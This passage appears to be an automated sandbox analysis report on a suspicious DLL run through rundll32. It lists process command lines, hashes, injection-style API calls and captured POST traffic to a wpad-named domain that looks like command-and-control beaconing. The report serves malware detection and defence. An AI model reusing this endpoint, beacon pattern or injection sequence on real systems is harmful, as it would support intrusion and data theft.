2024-04-16 21:05:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49903	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:18 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:18 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:19 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vbk8jl7kdnY1vj1zwF2wpCH9R0uHKLTE22ssUkKSQeYY8WlUb2d7O8rGdOl7qRkzGT8Eu3YQAf5Rszkjvyjj2f87vIOvBCdXpe4BMJ5MYgB0n1uSJssA8xEl8Jgnrt3ipE8vzFs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721fdd881136d-ATL
2024-04-16 21:05:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	23:02:12
Start date:	16/04/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\appbase.dll"
Imagebase:	0xe30000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:02:12
Start date:	16/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	23:02:12
Start date:	16/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\appbase.dll",#1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	23:02:12
Start date:	16/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\appbase.dll,main
Imagebase:	0x50000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	23:02:12
Start date:	16/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\appbase.dll",#1
Imagebase:	0x50000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	23:02:15
Start date:	16/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\appbase.dll",main
Imagebase:	0x50000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.4%
Total number of Nodes:	261
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 650C259A Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 205
nativememorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32 ref: 650C26DB
NtAllocateVirtualMemory.NTDLL(?,?,00000000), ref: 650C271D
NtProtectVirtualMemory.NTDLL ref: 650C2785
NtCreateThreadEx.NTDLL ref: 650C27E2

Strings

, xrefs: 650C2892

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID: MemoryVirtual$AllocateCreateInfoNativeProtectSystemThread
String ID:
API String ID: 2325482688-3916222277
Opcode ID: 5a1862eeb254525bb00199cbac3d8ed7c64dbacf4a4c3f152bd05e2d1a43b773
Instruction ID: 12943b6ff4b8cd6147da03be8dcc3fce54128b8e6a76a47d1fa6157728bea400
Opcode Fuzzy Hash: 5a1862eeb254525bb00199cbac3d8ed7c64dbacf4a4c3f152bd05e2d1a43b773
Instruction Fuzzy Hash: CAA1AFB09183069FDB00DFA9D59435EBBF0BF89318F10895DE8A89B290D775D949CF82

Uniqueness

Uniqueness Score: -1.00%

Function 650C2590 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 147
nativememorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32 ref: 650C26DB
NtAllocateVirtualMemory.NTDLL(?,?,00000000), ref: 650C271D
NtProtectVirtualMemory.NTDLL ref: 650C2785
NtCreateThreadEx.NTDLL ref: 650C27E2

Strings

, xrefs: 650C2772

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID: MemoryVirtual$AllocateCreateInfoNativeProtectSystemThread
String ID:
API String ID: 2325482688-3916222277
Opcode ID: ff7bbf6ee737ae386f1e5824b8fccdde15939000ef55c002a5f2b2d0400ff117
Instruction ID: 2ac99de68f40d41188fe22059b4b4dffa9f1afb41a35c731b07f252c6b14b739
Opcode Fuzzy Hash: ff7bbf6ee737ae386f1e5824b8fccdde15939000ef55c002a5f2b2d0400ff117
Instruction Fuzzy Hash: 8561C2B09193459FDB00EFA8D94834EBBF0FF85318F10995DE8989B290D7759949CF82

Uniqueness

Uniqueness Score: -1.00%

Function 02925DB5 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 029260AB

Strings

, xrefs: 02925FB7

Memory Dump Source

Source File: 00000003.00000003.1684550156.00000000028F0000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_28f0000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-3916222277
Opcode ID: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction ID: 0fadf1ace8d1cc22845d2fbe32f50fac54c8c093837ec1800170b22f8e7bd6b2
Opcode Fuzzy Hash: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction Fuzzy Hash: EBA1DCB59093049FC754DF28C184B5ABBF4BF88714F41892EE8988B355E734E988CB82

Uniqueness

Uniqueness Score: -1.00%

Function 029278A5 Relevance: 1.5, APIs: 1, Instructions: 45memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 029278EE

Memory Dump Source

Source File: 00000003.00000003.1684550156.00000000028F0000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_28f0000_rundll32.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction ID: d8ec2aba275f7d1b130dd97bc56ed7adb01b686a7d761a4476bf411499225733
Opcode Fuzzy Hash: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction Fuzzy Hash: 73110CB4A0A3419FC780DF69C58061ABBF4AF89650F40985EF998D7315E331D9448F52

Uniqueness

Uniqueness Score: -1.00%

Function 02927945 Relevance: 1.5, APIs: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 02927986

Memory Dump Source

Source File: 00000003.00000003.1684550156.00000000028F0000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_28f0000_rundll32.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction ID: 6627d73882b45b6461ef31126d64cf9ff67a61d1cc6be69041cf1da05ddeb981
Opcode Fuzzy Hash: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction Fuzzy Hash: 8A116DB890A351AFC780EF69C58061ABBF5BF89650F409C2EF8D8D7315E331D9448B42

Uniqueness

Uniqueness Score: -1.00%

Function 02925FC6 Relevance: 1.6, APIs: 1, Instructions: 60threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 029260AB

Memory Dump Source

Source File: 00000003.00000003.1684550156.00000000028F0000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_28f0000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction ID: 7b168fa29cc04a6f572283b65c5a6b43bdd9affdba141d7d42cba144e296a0cf
Opcode Fuzzy Hash: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction Fuzzy Hash: D621A3B5A04700DFD754EF68D188B1ABBF4FF88710F118968E8888B755DB35D888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 029260BC Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 029260AB

Memory Dump Source

Source File: 00000003.00000003.1684550156.00000000028F0000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_28f0000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction ID: 8ac7f33a8e4758fd3d21b59ad8d2e6470053a347299b5d6b8b833feed35de416
Opcode Fuzzy Hash: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction Fuzzy Hash: 9721AFB5908740CFC750EF68C184B1ABBF0FF88710F018969E8988B765D734D888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 029268C5 Relevance: 1.5, APIs: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,02927590), ref: 02926913

Memory Dump Source

Source File: 00000003.00000003.1684550156.00000000028F0000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_28f0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction ID: afb319be4deb525b6efe54ef828c48ab91007295b02454a6c8f93a7bc94ee42b
Opcode Fuzzy Hash: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction Fuzzy Hash: D2F0F97A6083104BD714EF68E58071BBBE8FBD8754F10896DD88897309D730C4448BD2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 650C1600 Relevance: 7.6, APIs: 5, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 650C164F
UnhandledExceptionFilter.KERNEL32 ref: 650C165F
GetCurrentProcess.KERNEL32 ref: 650C1668
TerminateProcess.KERNEL32 ref: 650C1679
abort.MSVCRT ref: 650C1682

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: 99464efb74455afefaa0d7f8d5c5d7f73c16dec71753c843aae8a6f42e30096f
Instruction ID: 93268e1e5ae475a8af8204382c84eee5bbc9f5de4cacc71631184abcb3a1b359
Opcode Fuzzy Hash: 99464efb74455afefaa0d7f8d5c5d7f73c16dec71753c843aae8a6f42e30096f
Instruction Fuzzy Hash: 6E11D4B5918605DFCB00EF69E545709BBF0BB4A344F408969ED8987300EB34D9968F53

Uniqueness

Uniqueness Score: -1.00%

Function 650C1540 Relevance: 7.6, APIs: 5, Instructions: 55
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 650C157F
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,650C13E5), ref: 650C1590
GetCurrentThreadId.KERNEL32 ref: 650C1598
GetTickCount.KERNEL32 ref: 650C15A0
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,650C13E5), ref: 650C15AF

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: f8a8ff06c900e5d3583cf1b95cd46e6d653c79d14f4a9b8509269f510e473991
Instruction ID: b92f4273cec1fbcb6272b7d7b9baaa68cf5ea08302f75e4562879b803f092021
Opcode Fuzzy Hash: f8a8ff06c900e5d3583cf1b95cd46e6d653c79d14f4a9b8509269f510e473991
Instruction Fuzzy Hash: 5A114CB59282018BCB10DF79F98864BBBE1FB89264F554C39E845C7600EF35D49A8B93

Uniqueness

Uniqueness Score: -1.00%

Function 650C15FC Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 650C164F
UnhandledExceptionFilter.KERNEL32 ref: 650C165F
GetCurrentProcess.KERNEL32 ref: 650C1668
TerminateProcess.KERNEL32 ref: 650C1679
abort.MSVCRT ref: 650C1682

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: 39b04ac6c8a04f3befb1637f712654986036dda2fa75091e44d79a0c9d3d6828
Instruction ID: 385d661da3617aa4a5281ed73e12b95f73a8f5c1db455713530ece27f19682d2
Opcode Fuzzy Hash: 39b04ac6c8a04f3befb1637f712654986036dda2fa75091e44d79a0c9d3d6828
Instruction Fuzzy Hash: 1F1105B1818206DFCB00EFA9E6497097BF0BB0A304F008529ED4987300EB34D9568F93

Uniqueness

Uniqueness Score: -1.00%

Function 02926315 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1684550156.00000000028F0000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_28f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c109f8cbc19281d5b02e97ca2226e2bd623c7e7c0ae8f69aed66bfecf9e37e9
Instruction ID: a0974d99c4746750fdb53aaf231dca5715f6798849e7b6746b0bea45861e7e9f
Opcode Fuzzy Hash: 5c109f8cbc19281d5b02e97ca2226e2bd623c7e7c0ae8f69aed66bfecf9e37e9
Instruction Fuzzy Hash: E62162326087248BD7309E19D580B6BB3EDBF84624F09492DD9D987A08DB35F44CCB91

Uniqueness

Uniqueness Score: -1.00%

Function 02925AA5 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1684550156.00000000028F0000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_28f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 572cf4ab0c0af46deed807f3f8a74a400713d6c82bc35d054de9dc06bb372b2e
Instruction ID: 660304e2fa199995a66c3890eec1ef5f517c47817e591f62e7c9f1131a5b31e5
Opcode Fuzzy Hash: 572cf4ab0c0af46deed807f3f8a74a400713d6c82bc35d054de9dc06bb372b2e
Instruction Fuzzy Hash: DF217272B083154BC304CE1AC89120BFBE6AFC8314F05CA2EF989C7354DA75EC498B82

Uniqueness

Uniqueness Score: -1.00%

Function 029263F5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1684550156.00000000028F0000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_28f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 684b7d094939317cfead4f7649dfe2586d93379080e397a849353f61ed111d46
Instruction ID: c7dcc857d581a6bb29c2476637bbf55422f896a07e470b7d19452f5bb6e18526
Opcode Fuzzy Hash: 684b7d094939317cfead4f7649dfe2586d93379080e397a849353f61ed111d46
Instruction Fuzzy Hash: C6D05E30102531CFCB2DCF08C2A0A34B37CFB00B21F425094C0564BD9DD378A946C604

Uniqueness

Uniqueness Score: -1.00%

Function 650C2454 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b354ba6688c2080c4f6b7a586669c680345d239d6da519d6b8b421065ee413f
Instruction ID: 34e595041f1b03bc9dd5293cbc9b1dca1f263a206874d6c5b720a0cb3ad274d8
Opcode Fuzzy Hash: 2b354ba6688c2080c4f6b7a586669c680345d239d6da519d6b8b421065ee413f
Instruction Fuzzy Hash: 34D05E30218943CFC301CF48E8A0F1873B5FB02B54B9161E4C8A24BDA1D338E841C642

Uniqueness

Uniqueness Score: -1.00%

Function 650C1790 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 124
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 650C17BF
vfprintf.MSVCRT ref: 650C17DF
abort.MSVCRT ref: 650C17E4
VirtualQuery.KERNEL32 ref: 650C1877
VirtualProtect.KERNEL32 ref: 650C18CD
GetLastError.KERNEL32 ref: 650C18DA

Strings

Mingw-w64 runtime failure:, xrefs: 650C17B8
Address %p has no image-section, xrefs: 650C191B
VirtualProtect failed with code 0x%x, xrefs: 650C18E0
@, xrefs: 650C18BE
VirtualQuery failed for %d bytes at address %p, xrefs: 650C1907

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQueryabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$@$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1616349570-4164700141
Opcode ID: 45359a25fb015cfbfb8d220c3e73ffa8612e0772df7d5406d3f28eeb4f6e7af6
Instruction ID: 23064235fefff0e83a7c0f4644c38a1a7cee8b9a1a676108ec0660b8706a1323
Opcode Fuzzy Hash: 45359a25fb015cfbfb8d220c3e73ffa8612e0772df7d5406d3f28eeb4f6e7af6
Instruction Fuzzy Hash: 274139B19083019BD710DF69E585B1EFBF0FF86354F458A6DE8999B200EB34D4498B93

Uniqueness

Uniqueness Score: -1.00%

Function 650C1020 Relevance: 9.1, APIs: 6, Instructions: 108
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,650C12C1,?,?,?,?,?,?,650C13D3), ref: 650C1057
_amsg_exit.MSVCRT ref: 650C1085

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: e7c054a2ddee5535433bfd020925d67d256a9a19331ce1b21dd22d07c453f5bc
Instruction ID: 8056c9a50c600942b6bd5d957f0a015dab4cc3f1d1f359d853af025bbfb5bf10
Opcode Fuzzy Hash: e7c054a2ddee5535433bfd020925d67d256a9a19331ce1b21dd22d07c453f5bc
Instruction Fuzzy Hash: 75419CB161C2418FEB10AF58F88171EB7E1FB83384F5545ADE8998B240DB79C492CB83

Uniqueness

Uniqueness Score: -1.00%

Function 650C2290 Relevance: 7.6, APIs: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_lock.MSVCRT ref: 650C22A9
_unlock.MSVCRT ref: 650C22D1
calloc.MSVCRT ref: 650C231F

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID: _lock_unlockcalloc
String ID:
API String ID: 3876498383-0
Opcode ID: dae5b505a9e3136623ed03b113d272566d24cb3860815a5a9b0a4b469a5de83f
Instruction ID: 38270f413e406329ead8249206bbf7778efa92abc6e7da18eb0aa13143f1e6e7
Opcode Fuzzy Hash: dae5b505a9e3136623ed03b113d272566d24cb3860815a5a9b0a4b469a5de83f
Instruction Fuzzy Hash: BD215C706082028BD710DF68E88071EBBE1FF86310F54D6A8D8D98F698EB74D541CB93

Uniqueness

Uniqueness Score: -1.00%

Function 650C1930 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Unknown pseudo relocation protocol version %d., xrefs: 650C1B96
Unknown pseudo relocation bit size %d., xrefs: 650C1A34

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 0-395989641
Opcode ID: 9b6c74dc5dcd895973a31ad7b980feb7f0df1f99991119a18d669c05c8bdc65f
Instruction ID: 24a7dfb5c1aea5edf0e4941584232568479cae918c8fc4c8016d28222d553ef7
Opcode Fuzzy Hash: 9b6c74dc5dcd895973a31ad7b980feb7f0df1f99991119a18d669c05c8bdc65f
Instruction Fuzzy Hash: B1519E71A082158BCB10CF68E58075EB7F6FB87344F6682A5DD549B305E730E8068F93

Uniqueness

Uniqueness Score: -1.00%

